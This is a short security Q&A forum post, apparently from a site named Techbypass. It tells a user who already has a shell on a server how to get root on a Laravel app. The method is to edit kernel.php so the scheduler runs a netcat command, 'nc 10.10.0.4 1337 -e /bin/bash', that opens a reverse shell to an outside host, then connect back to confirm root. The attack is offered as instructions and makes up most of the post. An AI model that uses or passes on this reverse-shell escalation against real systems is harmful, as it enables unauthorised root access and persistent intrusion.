Techbypass always tries to help you to learn about recent vulnerabilities and exploitations.

Learn and share your security findings and help others to secure their digital assets.

0 votes
Use your shell to edit kernel.php

protected function schedule(Schedule $schedule)

{

     $schedule->exec("nc 10.10.0.4 1337 -e /bin/bash");

}

Now execute the shell several times. Now back connect with 1337 port and check the id.

It will show root.
by (106 points)

Please log in or register to answer this question.

...